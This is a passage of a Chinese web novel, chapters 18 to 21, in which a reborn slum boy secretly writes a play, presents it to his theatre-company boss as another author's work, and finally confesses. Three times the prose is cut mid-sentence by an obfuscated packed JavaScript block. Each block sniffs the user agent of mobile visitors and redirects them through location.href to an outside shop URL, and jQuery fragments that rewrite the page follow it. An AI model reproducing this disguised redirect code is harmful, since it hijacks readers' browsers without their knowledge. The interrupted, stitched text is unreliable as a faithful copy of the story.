她亲昵地揉了揉阿尔的脑袋,又亲了下脸颊,才高高兴兴地打发说:“得啦,快看你的稿子去!你现在算什么男人呢?不过……等你长大了!可千万记得,别学那些没良心的家伙。”
18. 第18章
第18章阿尔:快看,我找到一本绝世佳作!
为了不辜负老板的厚爱,阿尔起初是真心实意地想挑出一个好剧本。
为此,他认认真真坐在办公室里,仔仔细细看了一整天,也没能挑出个合适的。
一来,优秀的剧本本来就是凤毛麟角,极为难求;
二来,如前文所说,这年头,真有本事的剧作家都在家里,等着别人捧着钱上门求,哪可能这样随随便便地跑来投什么稿,还是投给一家规模不大的小公司;
三来,由于上辈子的记忆,他自身不可避免地具备着一些远超这个时代的见识,简单换一句话来说,他眼光太高,普通剧本看不上。
最后,他实在看腻了。
一个念头便不受控制地从脑海中产生:“我为什么不自己写呢?”
这并不是什么异想天开。
在阿尔重回十三岁前,也就是上辈子,他确实写出一个剧本,而且,已经制作成功,顺利通过一场小规模内部试演,马上就要登上百老汇的大舞台了。
只可惜……
好不容易混出头,他重生了。
“也不知道最后那出剧到底会是个什么结果?”
天性务实的阿尔难得回忆了一番上辈子的事,略微迟疑地寻思着:“想来应该,应该不至于太坏吧?大家之前都说好呢。”
可不管怎么想,现在是没办法知道结果了。
他便乐观地决定只当是个好结果。
这么一来,自身底气总算足了些。
他再翻那些十分倒胃口的低质量剧本,就不免有点小骄傲地暗自嘀咕:“我比这些人写得好多了!”
然后又想,“要不然,我干脆把上辈子的那个剧本再拿出来用用?”
可继而,又十二分谨慎地自问自答:“只怕不成……我之前的那本写的可是现当代爱情,里面好些重要元素和现在不搭边,风格也不符合现在的流行,应该是不能用的。再说,我一个贫民区没受过什么教育的孩子,突然会写剧本了,这不合理!”
想到这些,阿尔便又踌躇了。
他有时候挺嫌弃自己这种谨小慎微、什么都要做万全准备才行动的性格,为这事,还曾被上辈子的一个好友狠狠嘲笑:“明明是个人才,偏偏要混成个草包!”
可那能怎么办啊?
别人都有爹有妈,再不济也有三瓜两枣、能拉一把的亲戚,做错事、丢了工作,回家混上两天,大不了再找一份工;他全靠自己一个人,一旦做错事,丢了工作,就是无家可归,就是流落街头,倒霉搞不好还要狠狠饿上好几天,直到找到下一份工。
阿尔默默地叹了一口。
当晚,他躺到了床上,也还一直不停地想这件事,本来把黄牛事业搞得蒸蒸日上,就以为自己重生后,真成了什么了不起的人物,从容镇定,又运筹帷幄的。
其实,不过是从心里并不在乎这事,外加能仗着多了那么十来年的经验欺负人。
等碰上真正在乎,又没办法弄虚作假的事了,才发现自己还是那个一遇事就心生忐忑,纠结犹豫个没完没了,生怕犯一点儿小错的普通人,比起那些真正厉害的人才,还差得远。
意识到这一点儿后,他先是为自己不该有的软弱而羞愧,接着,一股不知名的怒气便油然而生,那种情绪来得太强烈,可能夹杂了上辈子的不甘和这一世的压力。
最终,他忍不住从床上坐起来,抓起床头柜上的一个杯子,恼怒地摔在地上,赌咒发誓地自言自语:“去他的上帝耶稣吧!我一家子都活下来了!我也有钱了,我不怕了,我现在什么都不怕了!”
杯子摔碎的声音,一下子将西尔维夫人惊醒。
她以一名孕妇绝不应有的敏捷跳下床,立刻声势浩大地寻了过来,还发出足以媲美正规女高音般的尖叫:“啊啊,天杀的,你大晚上做什么啊!难不成是家里进贼了?那可怎么办啊!”
阿尔被一时情绪左右的脑子瞬间清醒。
他忙回一声:“没什么,我半夜喝水,不小心把杯子碰掉了。”
西尔维夫人这才停止闹腾。
可紧接着,她又趁机唠唠叨叨了一大通,什么怎么这么不小心啊,什么杯子不要钱吗,什么你闲着没事晚上喝什么水……
仿佛五百只鸭子!
吵吵闹闹,没完没了。
阿尔一边听她这么念咒念到脑袋疼,一边又忍不住想笑。
困难依然有。
可确实是不一样了。
————————————
第二天,阿尔没心情去管卢克那边的票贩工作,又以家事为借口,专门和米尔森先生请出了一天假,只把自己关在家里,寻了叠白纸,然后,鼓足勇气地拿起笔,在第一页白纸上,端端正正地写了起来:第一幕。
说起来,这还是他重回十三岁后,第一次动笔。
西尔维夫人从来没见过他这样,又不信一个辍学好久的十三岁男孩有什么写作方面的真本事,便以为他只是在装模做样,可又想不明白装成这样能有什么好处?
而且,她还有一点儿不可言说的小心思,很担心大儿子从此“误入歧途”,不再出门赚钱,害得一家人没饭吃,就拿着抹布假装在一旁擦来擦去,实则是走过去旁敲侧击:“阿尔,你今天不去上工吗?”
阿尔没多想地回答:“不去了,我要写个剧本出来。”
西尔维夫人就流露出一点儿瞧不起,以及惊奇的意思:“写剧本?天老爷啊!你是发了什么癔症吗?误以为自己是什么文化人吗?你一个贫民区出生的小子,哪配拿笔去写什么剧本啊!”
“你这话说的,贫民区小子就不配拿笔吗?”阿尔好声
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729507|189599||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
好气地回了一句。
“装什么傻?配不配的,难道你心里还不清楚吗?”西尔维夫人颇为迷信地说:“先不说我们是注定了的穷命,只说这读书写字,你也没地儿去学啊?”
阿尔不生气,用开玩笑的语气,半真半假地说:“这你不懂了,我上辈子是个剧作家呢。”
西尔维夫人有些气恼,以为儿子敷衍自己,便气呼呼地说:“我信你鬼扯呢!你上辈子要是剧作家,那我上辈子还是个穿金戴银的贵妇人呢。”
“可穿金戴银也不是什么难事啊。”
阿尔一本正经地说:“你要是想的话,等将来我赚了钱给你买。”
“哼,少拿骗小姑娘的破把戏来糊弄我,我可是你老娘呢!”
西尔维夫人干脆也不装了,把抹布随手扔在桌子上,翻了翻白眼:“你想偷懒就说想偷懒好了,我又不是天天逼你干活的老板,还扯什么写作,信了你个大头鬼!还赚钱给我买什么金银,我劝你少转这种傻念头去自讨苦吃。咱们贫苦人家,只安安分分过日子,勉强吃饱饭,不挨饿受冻就是顶顶好的生活了,穿金戴银,那是梦里的事!”
这番话说完,她就头也不回地走了。
不过,她其实也一直没闲着,忙来忙去地收拾做家务,还要照顾两个更小的孩子。
阿尔见此,也没办法和她争论什么了,只好当没听见,自顾自地低头去写剧本。
可写了一段后,他还是有些愤懑地摔了一下笔:“真见鬼,穿金戴银能算个什么难事啊?”
好在之后的时间里,西尔维夫人没有再来打扰。
阿尔安安静静地花一整天时间,成功写出了新剧本的第一幕。
然后,他迫不及待地跑到办公室,兴冲冲地把写出来的这些,统统拿给米尔森先生看,但十分心机,也不说是自己写的,只假装是从那些投稿中挑到的:“先生,您看这一个怎么样?我费了不少力气才从那些稿子中找到的。”
说完,又担心米尔森先生不重视。
他想了想,决心很不要脸地自卖自夸一番:“我觉得,这剧本是神仙写文,只看开头就已是极为不俗,再往下看,剧情更是精彩万分、跌宕起伏,很不简单呢!您一定要好好看看,搞不好这就是一部绝世佳作!”
米尔森先生对他颇为信重,尤其是因之前黄牛一事,私下里早就认定了这孩子眼力惊人。
所以,一听说是精心挑出来的绝世佳作,他不禁信以为真,立刻精神一振,表情严肃,格外重视地接过来:“好的,我马上就仔细看一遍,看看是怎么一个神仙写文!”
阿尔见此,又有些心虚了。
他良心不安,绿眼睛不免闪烁不定,犹犹豫豫地怯怯打了个补丁:“虽是绝世佳作,但,但……您要知道,神仙和神仙也是不一样的,有的神仙……他好(四声)榴莲呀。”
19. 第19章
第19章卢克:你难道一心奔着要救世来的?
米尔森先生把自己关在办公室里,认认真真地拜读了那篇所谓的绝世佳作。
然后,他开始喊人:“阿尔,阿尔!”
“在的,先生。”
阿尔一边回答,一边快步走了过去,很期待地问:“您觉得那剧本怎么样呢?”
米尔森先生的脸上不禁流露出一种古怪而迟疑的神色,一边皱眉思索,一边慢慢地说:“哦,题材倒是颇为新颖……只是,似乎有点儿太新了。我还想看看后头的内容……但这里只有一幕的稿子,你待会儿找找看,还有没有后面的稿子?”
听到这番话,阿尔不免有些泄气。
在他原本美好的幻想(俗称白日梦)中:
这时候,米尔森先生应该如获至宝地走出来,大声宣布:“太棒了,我找到我们要用的绝世好剧本了!阿尔,快!快去把这个天才作者请来,问问他到底是怎么想出个这么绝妙的故事,以及,他想要多少钱?我们可一定要拿到它啊。”
然后,他就可以掩饰地先咳嗽几声,再假装出一脸的尴尬、愧疚,实则内心得意地说:“对不起啊,米尔森先生,我现在必须要向您坦白一件事了。您口中的天才作者,绝世好剧本的执笔人,不是别人,正是在下。”
但现在,美梦破碎。
他只好回答说:“我前几天把稿子拿家去看了,等下就回去找找,我好像看到是有第二幕的。”
米尔森先生并不怎么苛刻员工,听到这话,便点了点头,只简单嘱咐了一句:“不急,明天上班时给我就可以,我待会儿还要再把第一幕看看,好好想一想。”
说完,他就低下头,继续一脸严肃和郑重地看第一幕的剧本了。
阿尔见此,也只好退出了办公室。
爱丽丝从一摞文件后探出头,关切又好奇地问:“怎么?是没选出好剧本吗?”
阿尔说:“选了一个,但米尔森先生有些犹豫,想再看看。”
爱丽丝听了,用关切和温柔的目光望他:“听起来是个不错的进展啊,可亲爱的,你为何还要愁眉苦脸呢?”
“我只是……”
阿尔想了想,实在不好意思说出自己隐藏的秘密和那些虚荣的小心思,只得半真半假地告诉她:“我只是很喜欢这个剧本,担心米尔森先生看不中罢了。”
爱丽丝一下子笑了起来,只觉得他现在的样子好比是小孩子拿了最最心爱的糖,跑去和大人献宝,等大人吃了还不走,只眼巴巴地等着一句赞美,实在是孩子气的可爱,便安慰说:“别急,老板总是要考虑多一些的。”
然后,她一边继续整理一份合同,一边又随口问:“说起来,你看好的剧本是讲什么故事呢?”
阿尔回答说:“三个女人和一个男人的纠缠。”
爱丽丝吓得停下了手中工作。
“什么?”她很是吃惊地望过去:“三个女人和一个男人,她们都喜欢他吗?”
“应该算是喜欢的吧。”
“天老爷啊,这男人上辈子是做了什么好事?”
“兴许是作了孽也说不定呢。”
阿尔耸了耸肩膀,很是不以为然的样子。
爱丽丝不由失笑,十三岁半大不小的少年,却做成熟男人的口吻,自己偏偏还不觉得,实在是惹得周围人都忍俊不禁。
不过,哪怕是小少年也有自尊心的。
迎着阿尔疑惑不解的目光,爱丽丝也只偷偷笑了那么一会儿,便又把话题拉回剧本上,笑嘻嘻地评论说:“若是作了孽就能享这样的艳福,世间一大半男人都要跑去作孽了。”
她说着说着,就有点儿自言自语起来:“不过,三个女人和一个男人……这倒有些像是原本《卖花女孩》的主要演员配置了。《卖花女孩》当初是女一和女二都喜欢男主,女三在剧中纯帮女一的忙。哎,这么说来,要是选了这剧本,我们是不是就能把吉蒂她们重新召回来了?”
“不见得,还要看她们能不能适合角色,舞台可不能只讲人情。”阿尔很是正经严谨地说。
但爱丽丝已然乐观起来,连剧本都没真正看过,只护短地说:“我觉得,吉蒂她们好得很,再没比她们更合适的。”
阿尔笑了笑,没搭话。
好在爱丽丝也是随口闲聊,没什么较真的心思,这么聊了几句后,就又埋头到工作中了。
只是,她刚忙了一会儿,突然一个念头飞速闪过,不禁喃喃自语了一句:“虽还没真正看过剧本,可不知为什么,我总觉得,这本子竟是给咱们量身打造的呢!似乎……完全可以把《卖花女孩》那些人全召回来,大家一起排新剧了呢。”
阿尔不由得一怔,又多了几分险些被说中的心虚。
他心想:“女人的第六感都这般准吗?”
忽略这段插曲。
因米尔森先生提出明天要看剧本后头的情节,阿尔回家后,只好拿出纸笔,继续去写第二幕。
西尔维夫人依旧不理解儿子的古怪行为。
但她有一点儿好处,那就是……只要长子保持着稳定工作,能按时缴纳家用,那么,不管他有什么奇特的爱好,都是可以忍受的。况且,只是祸害点儿纸笔,总比别家男人吸烟、喝酒要强上不少。
所以,见阿尔又趴在桌子上写啊写。
她虽还是一脸“真是浪费时间”的表情,却也没管太多,带着家里两个小的,坐在一旁,用市场上买来的便宜毛线,给家里人织过冬穿的毛线袜。
这时候,门外响起了敲门声。
西尔维夫人过去一看,就回头惊慌嚷嚷:“上帝啊!阿尔,那个小流氓又来找你了。”
她说的不是别人,正是卢克。
在阿尔把卢克拐成黄牛之前,这家伙混迹街头巷尾,虽有他姥姥三令五申地告诫,没真犯过什么大错,可小偷小摸,抽烟喝酒,冲着小姑娘吹口哨、瞎起哄的闲事也没少干。
故此,在西尔维夫人固执的思维里,这就是被定了性的小混混、小流氓。
介于卢克压根听不懂西西里的方言。
而西尔维夫人又拒绝和“小流氓”进行费劲儿的英语交流。
阿尔就实在懒得再纠正什么了。
反正两人也不打交道。
这一次也是一样。
他让西尔维夫人带着弟弟妹妹该干什么就接着干什么,自己跑去开门。
卢克果然没听懂西尔维夫人的话,还自以为颇受欢迎,站在门口,喜滋滋地追问:“你妈一见我就很惊喜啊,那么大声地喊你,她刚说什么呢?”
阿尔完全没有招待他来家的意向,只站在门口和他说话,还一如既往地鬼扯:“她说,阿尔,那个好孩子又来找你了。”
“好孩子!是的,是我。你妈妈真是位有眼光的好夫人。”
从小只有姥姥才爱的卢克露出一个二乎乎的笑容,这一刻仿佛街边二傻子,实在令人不忍直视。
阿尔这会儿正忙着写剧本,也不想浪费时间。
他直接问:“你来找我做什么?”
“我找你做什么?我找你做什么?”卢克下意识地重复了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729508|189599||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
两遍这句颇有些凉薄的话。
然后,他收起二傻子表情,反而有点儿生气的意思了:“我难道不能找你了吗?我难道不是你的好朋友、好兄弟了吗?阿尔,你仔细算算,你都有多少天没好好关心一下我们的生意了?”
“哦,是生意出什么问题了吗?”阿尔耐心问。
“那倒没有。”卢克回答。
“所以,你想要我关心什么呢?”
阿尔笑了起来,很不以为意的样子:“请原谅我不明白,若是一开始,确实需要我时时刻刻地留意,还要随时琢磨去挑出赚钱的剧再买票。可现在,咱们搞起会员卡,又可以好票搭着坏票一起打折卖了,怎么着也不至于赔钱了吧?难道还要我继续事事插手,像是看顾三四岁小孩一样,天天仔仔细细地看顾你们吗?”
卢克听了这似乎很有理有据,实则不负责任的话不觉怒火上涌。
他有心想立刻发作一番,可看看眼前的这人,尤其是那双理直气壮、满是无辜的绿色眼睛,就又忍了下来,放软声音说:“阿尔,好朋友。你明知道我不是这个意思,也不是要你天天来看顾我们,只是……只是,那毕竟也是你的生意啊!最近我们又赚了好些钱,还扩大了规模,又招了好多贫民区的小孩来帮忙,大家都很感激你……”
“这倒完全不必,我一开始只是想赚钱而已。”
“胡说!你根本不爱钱,那么老多的钱,拿过来,堆起来,放在那!从头到尾,你连正眼都不看一下的,更别说拿去花销一下了,你一天到晚活得像个清教徒!记得有一阵子,我把整条街最漂亮的小妞指给你看,人家还给你暗送秋波,结果你说什么?”
“我说什么啦?”
“你说她八成是受风了,怎么眼睛有点儿斜。”
“我大概没睡醒,或者,她送的秋波不合格,让人认不出。再说,我这身体才才十三岁啊,卢克。”
“贝斯特十二岁就知道拿糖骗小女孩了,总之,阿尔!”
“唔?”
“我们都感谢你,喜欢你,敬重你,所以,想亲近你,想时不时地见见你。”
“那你们都太好了,我实在惭愧。”
“还记得半路拦你,欺负过你的三个人吗?”
“什么?欺负我?我怎么没印象?”
“对,你忘了吗?那几个仗着自己是大人,且出于某种嫉妒的阴暗心理,就跑去堵你的下三滥王八蛋!我们给你报仇了,贝斯特那个坏小子出主意,先让黑熊带人把他们揍了一顿,然后抢光了他们的生意,现在,他们被我们合伙儿挤兑得失业了,说不定什么时候,你就能看到他们沿街讨饭了。”
“……其实大可不必,只要按规矩来,我们没必要很霸道,还把别人的饭碗抢光。”
“你总是心软。”
“真不是……”
“好啊,那你说,钱你也不喜欢,吃的也不上心,烟不抽酒不喝,漂亮小妞也不看,你做了那么多,到底图什么?别说什么养家,你现在已经不愁养家了吧?”
“呃……”
“难道你真像我姥姥说得那样,是什么耶稣转世,圣子降生,一心奔着要救世来着?”
“我……”
“你说啊,你倒是说啊,你想做什么?你有什么想做的?”
“卢克,其实……”
阿尔真是无奈极了:“我现在只是想好好在家待着,安安静静把剧本写完。”
失学N年儿童卢克懵了:“剧本?”
他表情迷茫,仿佛接触到什么未知领域的新事物:“那是什么?”
20. 第20章
第20章阿尔:说谎是会被上帝惩罚的
卢克离开时,那困惑的表情深深地印在了阿尔的心里。
天知道他们这些黄牛,勉强也算是戏剧行业的一份子吧?可一天到晚只知道卖票,却居然连剧本是什么都反应不过来,也真是够了!
全都是没文化的结果啊!
阿尔默默在心里感叹着。
当然,他不会因此瞧不起自家小伙伴,但却不由得因此而联想起了点儿别的事情。
“妈妈!等开了春,我们送约翰和玛丽去上学吧。”他突然说。
在这么说之前,他已经做好了面对“母亲又要哭闹说没钱”的恼人场景。
可谁知,西尔维夫人一愣,下意识地放下了手中正做着的活儿,脸上居然浮现出一种恍恍惚惚的神色,然后,难得像个正常人地商量着说:“嗯,你说得对,家里若是有富裕的钱了,确实是该送他们去认识些字。不过,约翰倒是差不多到了入学的年龄,可玛丽要不再等两年?”
实在想不到母亲居然能有这样的正常反应。
阿尔不由对她另眼相看,便也不想在这种小事上和她起什么争执,很温和地配合说:“那就先送约翰去好啦,他是男孩子,先去学校熟悉熟悉环境,将来也好保护妹妹。”
西尔维夫人点了点头,继续低头织袜子。
阿尔也重新回到桌前去写剧本。
可大约过了那么一两分钟……
西尔维夫人却开始不断地抹起了眼泪。
“妈妈,好端端的,你又哭什么呀?”
阿尔无奈地放下笔,心里不免十分烦躁。
“可我,我实在笑不出。”西尔维夫人抽噎着说。
“原因呢?万事总得有个由头啊。”阿尔不解地问。
“你爸爸没死的时候,以前也是这样同我好好商量,说送你去上学的。”
“……这样啊。”
“你和你爸爸一样呢!明明都是穷命,偏偏要妄想,还学那些体面人,去上什么学。”
“……”
“但我总是依着他,凡事都愿意听他的,所以,送了你去上学。这次也是一样,你说要送约翰他们去上学,我便依着你,说不定这正是你父亲在天有灵呢。”
“也许,但妈妈,上学肯定是不会错的。”
“我不知道什么对错,我心里是很不安的。阿尔,你想想,这才几年啊,你就不能去上学了。”
“妈妈,你放心,我不会让约翰他们像我一样上不成学的。”
“不不,我是说,这是不是命中注定的呢?咱们本来就没那个命,所以本不该上学的。”
“妈妈,你想多了,上帝忙得很,没空管这个。”
“谁知道呢?”西尔维夫人想着想着,又悲叹起来:“阿尔,其实,我心里真的很怕……我也说不清楚具体是怕什么,反正我很怕……以前没人上学,大家不也活得好好的?可你爸爸说了,上学才是好的,说上学能改变命运。但人的命不是注定的吗?否则,怎么有人从生下来,日子就那么好,可有的人刚出生就要饿肚子呢?反正我是糊涂了!只是……你说,改变命运会不会反而带来厄运呢?”
“纯属瞎说。”阿尔果断地下定论。
他站起来,一把搂住母亲的身体,低声安慰说:“没有什么是不能改变的。妈妈,你不用去想太多,万事都有我。”
西尔维夫人便顺势靠在了长子的怀里,抽抽噎噎地问:“真的吗?阿尔,你不会像你爸爸一样离开我吧?”
阿尔好脾气地哄她:”当然不会了,我还要你以后穿金戴银呢!行啦,擦擦鼻涕,别哭了。”
虽然长子早就代替丈夫成了一家之主。
可这么让儿子哄……
西尔维夫人还是有点儿不好意思了。
她不禁重新坐直身体,拿毛巾擦了擦脸,才继续低头去认真织袜子。
阿尔也终于放心地回到桌子前,继续去写剧本了。
可这么过了好一会儿,西尔维夫人突然又闲聊一般地随口冒出一句:“对了,阿尔。说起来,你辍学后,你们学校老师还给我写了一封信呢,他们可真有意思,还往学生家里寄信……”
“啊?还有这事?”
正写剧本的阿尔很惊奇地抬起头:“我怎么不知道?信里写了什么?”
“我又不认识字。”
西尔维夫人很理直气壮地说:“我怎么能知道里头写什么了呢?”
“那信呢?”阿尔追问。
“被我扔了。”西尔维夫人回答:“反正你又不上学了。”
“……”
阿尔深深吸了一口气:“好啊,扔得好啊!扔得好。”
——————————
这么着,总算结束了和西尔维夫人一番心累无比的对话。
阿尔克制着不让自己去多想什么,以一种成年人才具备的极强自制力,全神贯注地继续写剧本。
但说实话,写作真不是一个轻松的活儿。
尤其是一开始被西尔维夫人干扰得总是进入不了状态。
足足熬了一晚上,直到凌晨四、五点,才辛辛苦苦地写出了第二幕剧本。
等上班时,整个人困得睁不开眼,他强撑着把剧本交上去后,转身就趴桌上睡着了。
米尔森先生也没管他,自顾自地接过第二幕的剧本,专注地阅读起来。
但大约过了十分钟,也许是二十分钟……反正在阿尔的感觉中是,自己刚刚闭上眼睛,就被人给用力地推醒了。
“接下来的剧情呢?”
米尔森先生略带毛渣的秃头在阳光下闪烁着绒绒的金光,厚厚眼镜下的表情无比郑重。
“什么?”
阿尔睡眼惺忪地望着他,一时间还没回过神:“先生,您说什么?”
“我说下面的剧情呢?第三幕?第四幕?”
米尔森语气急切地催促着重复问了一遍。
“这个……这个……”阿尔终于清醒一点儿了。
但他显然还对这个奇特的发展有点儿无法理解,只好结结巴巴地问:“第三幕?您,您还要看第三幕?我是说……呃,我是说,有了这两幕的稿子还不够看吗?”
“当然不够。”米尔森先生快速地说。
但他很快意识
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729509|189599||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
到,自己的态度有些过急了,便咳嗽两声,稍稍收敛,重新用严肃的语气说:“这剧本目前看起来很不错,嗯,不错。但我还需要再看看后面的情节,最好是结尾部分,对,结尾部分的具体发展,才能做出最准确的判断。所以,下面的剧情呢?”
下面的剧情?
下面,肯定没有啊!
还说看什么结尾部分的发展!
真够过分的!
看连载的时候,催着完结,像话吗?
好不容易熬了一整夜才写出第二幕的阿尔彻底沉默了。
他用一双熬夜熬得通红的绿眼睛,木然地望着眼前的老板,心里阴暗地怀疑对方是想把自己也害成个秃头。
但这时候,米尔森先生反而缓和了神色:“哦,没有后面的章节吗?”
他特别体贴地主动帮忙找了个理由:“是作者只寄来这两幕的稿子吗?”
阿尔连忙狂点头。
结果,米尔森先生便说了这样一番话:“投稿作者不是都留有联系方式的吗?这样好啦!阿尔,你给那位作者寄一封信,会写吗?不会也没事,很简单的,我来教你。”
“你先介绍下公司的情况,这方面的套词,你可以向爱丽丝请教一二,她以往都是写常了的。但务必要记得,信里要着重强调一番咱们公司的良好信誉,清清楚楚地让他知道,我们绝不是那一类会强占、抄/袭别人作品和创意的龌龊组织。”
“……若是这么写了,还是觉得不够稳妥。那不妨稍微提一提我的名字。”
“说实话,不是我脸皮厚、自视甚高什么的,但这几年,我米尔森在戏剧界确实还算是有几分薄名的,想来也能让人增添点儿信任。”
“等写完这些,你再找他要后头的稿子。唔,多夸夸他,争取把稿子全要来,我要好好看看。”
说完这一长串,米尔森先生又凝神细思,看还有什么疏漏的地方,想了一圈也没想到什么了。
但他还是不放心,就嘱咐说:“暂时先这些,你现在开始写信吧。语气朴实、诚恳点儿,写完拿给我看看,如果没问题的话,我们今天就寄出去!啊,真希望明天就能看到他的回复,也顺利看到下面的剧情。”
等等,我写信?
给自己写吗?
阿尔整个人都呆住了。
可不等他回神……
“你还愣着干什么啊,阿尔!”米尔森先生喊。
他大声的、像是狗撵兔子一般地激情吆喝着:“快啊!小伙子!振奋!别像老年人一样慢慢腾腾,快点儿行动起来!快!快!快!”
阿尔一脸懵逼地被他一路驱赶着拿出纸笔,开始给“剧本的作者”写信。
但当他拿起笔的那一刻,便在心里大喊了一声:“我的天啊!”
这孩子终于郁闷地发现……
之前轻率的谎言,竟害得自己落入了一个如此进退两难的可笑境地之中。
“上帝要惩罚我了!”
“来啊,全都来看看一个谎话精的下场吧!”
“我现在除了要拼命去写稿外,还得费劲儿杜撰出一封朴实诚恳的信,去催自己的稿了!”
21. 第21章
第21章米尔森先生:我是世界上最好的老板
米尔森先生很重视剧本的作者。
但“剧本作者阿尔”本人并不为此感到高兴。
因为“老板的这份重视”……
可怜小员工的他已经不得不把那封“写给自己的催稿信”修改了三遍。
介绍不够清楚明白,改!
语气不够诚恳真挚,改!
内容不能言之有物,改!
改完后,米尔森先生还是不怎么满意。
他亲自拿着那封的信,手指无意识地敲着桌子,一边思考,一边左右为难地自言自语着:“这一句[亲爱的朋友,我热烈、迫切地期盼您的来稿,但也请您多多保重身体]是不是太委婉了?会不会给对方一种其实我们并不是很着急看后续的错觉?要不干脆去掉这一句?唔,不行,去掉了岂不是显得我们只知道催稿,却不顾作者本人的身体,太冷酷、太无情了!”
也不知道是不是过于重视,还是人到中年,不免啰嗦。
米尔森先生在那嘀嘀咕咕、如此这般地絮絮叨叨半天后……
站在一旁的阿尔便发疯了:“还改?这有完没完啊!”
而且,更可怕的是,除了催稿信问题,剧本后续稿子,也不可能在几天时间内就全写出来。
“天老爷啊!”
他瞬间意识到整件事的发展已经超出控制,不能再继续隐瞒下去了。
毕竟,人被骗一时,事后多半不过懊恼一时,如果结果是好的,说不定还能化为一桩美谈。
可若是人被骗的时间久了,等到真相大白,不管结果好坏,却必然会有“你竟然敢把我当傻瓜愚弄那么久“的愤怒想法产生。
所以,阿尔当机立断,为了避免更糟糕的局面产生……
他一个大步向前,冲到米尔森先生的面前,用几乎要哭出来的声音说:“先生!”
正沉思琢磨怎么好好写信的米尔森先生被吓了一跳,身体下意识地向后一仰,紧紧地靠在椅背上:“啊!阿尔,你这是怎么了?”
然后,他飞快回想了一下刚刚到底发生了什么事:“是我太挑剔,吓到你了吗?”
“不,您是世界上最好、最值得人崇拜的老板了。”
阿尔非常认真、激动地说:“假如世界上有评选最好老板的比赛,我非得逼着身边所有人都给您投票不可,谁要是敢不这么做,我就和他绝交。”
“唔!冷静点儿,冷静点儿,能得你如此敬爱,实在是我的荣幸。”
米尔森先生努力按捺着唇角就要翘起的弧度,竭力装出一副谦虚又严肃的表情。
“可对这样好的您,我却做了一件错事。”
“没关系,我原谅你了。”
“什么?原谅?您还不知道我做了什么!”
阿尔吃惊地瞪圆了眼睛。
米尔森先生微笑起来.
他摆出洞悉一切的高深莫测表情:“上班时间睡觉确实不对,但也不是什么不可原谅的大错。”
“……“
阿尔顿了一下,但立刻重新振作,酝酿情绪:“不是的,先生。”
他伸出两个小胳膊,用力向两边张开:“我犯的错比这个要大!要大很多!”
“怎么?你把天捅破了?”
“呃……我做不到啊。”
“你杀人放火抢劫了?”
“……我虽然一直很穷,但并不是作奸犯科的料儿。”
“那你担心什么?”
“我骗了您啊!在我看来,这比杀人放火抢劫都要严重多了。”
米尔森先生就又笑了。
他这时候的表情,可能类似成年人碰到一个自以为闯祸而战战兢兢的孩子,毕竟,对孩子来说,不小心摔了杯子、弄脏衣服、考试不及格等等,那可都是天塌一样的大事!
但显然,大人不这么看,反而可能会觉得好玩。
于是,他没怎么上心地随口问了一句:“好啊,小坏蛋,你到底骗了我什么呢?”
“那个剧本是我写的。”
“……”
沉默!
整个办公室内仿佛被按下了暂停键一样。
许久,米尔森先生才开始有所反应。
他摘下厚厚的眼镜,低下头,无意识地开始用布反复擦拭镜片。
“我记得,剧本写的是个花花公子和三个女人的纠缠故事?”
“是的,没错。”
“我记得,你才十三岁。”
“那是去年,我今年十四啦。”
“不可思议!不可思议!不可思议!”
米尔森先生连续说了三遍,由此可见,这位可怜的先生究竟受到了怎样的惊吓。
“先生,我没想骗您的!唉,这事我真不知道该怎么解释,也不知道该怎么求您原谅我了。”
阿尔很是急切地在一旁努力解释:“我一开始假托他人名义,只是不想被差别对待。毕竟,但凡是个正常人,知道作者只有十三四岁的话,都不免产生[这只是小孩子在做游戏]的轻视想法……“
“那倒也未必。”
米尔森先生插了一句说:“李斯特九岁就举办钢琴独奏会,这世界总是不乏神童的。”
“您说得对,是我太愚昧无知了。”阿尔忙附和了一声。
然后,他继续解释:“原本想,我水平低劣、见识有限,虽有不切实际的期盼,想尝试一番,可剧本真交上去了,您多半是会看几眼就想打回去。这样一来,我也不必多余考虑留什么名姓的问题……”
“你过谦了。”
米尔森先生安静地听着,还不忘做个好捧哏地时不时给个回应。
“可没想到,那剧本居然侥幸被您看中了,您还追着要下面的情节……”
“对啊,下面的情节呢?”
“还没写呢。”
“那你为什么还不赶快去写?”
“因为我要先写好您交代我要今天必须写好的催稿信呀!”
“……”
一大一小面面相觑。
米尔森先生显然为这戏剧化的发展瞠目结舌了,而阿尔则始终保持着愁眉苦脸和两手摊开、以示无奈的痛苦表情。
又过了那么一会儿。
还在外屋办公的爱丽丝小姐便听到里屋办公室内忽响起了一阵轰然大笑。
在《卖花女孩》演出组解散后,这还是第一次听到米尔森先生没有一点儿阴霾的大笑声呢。
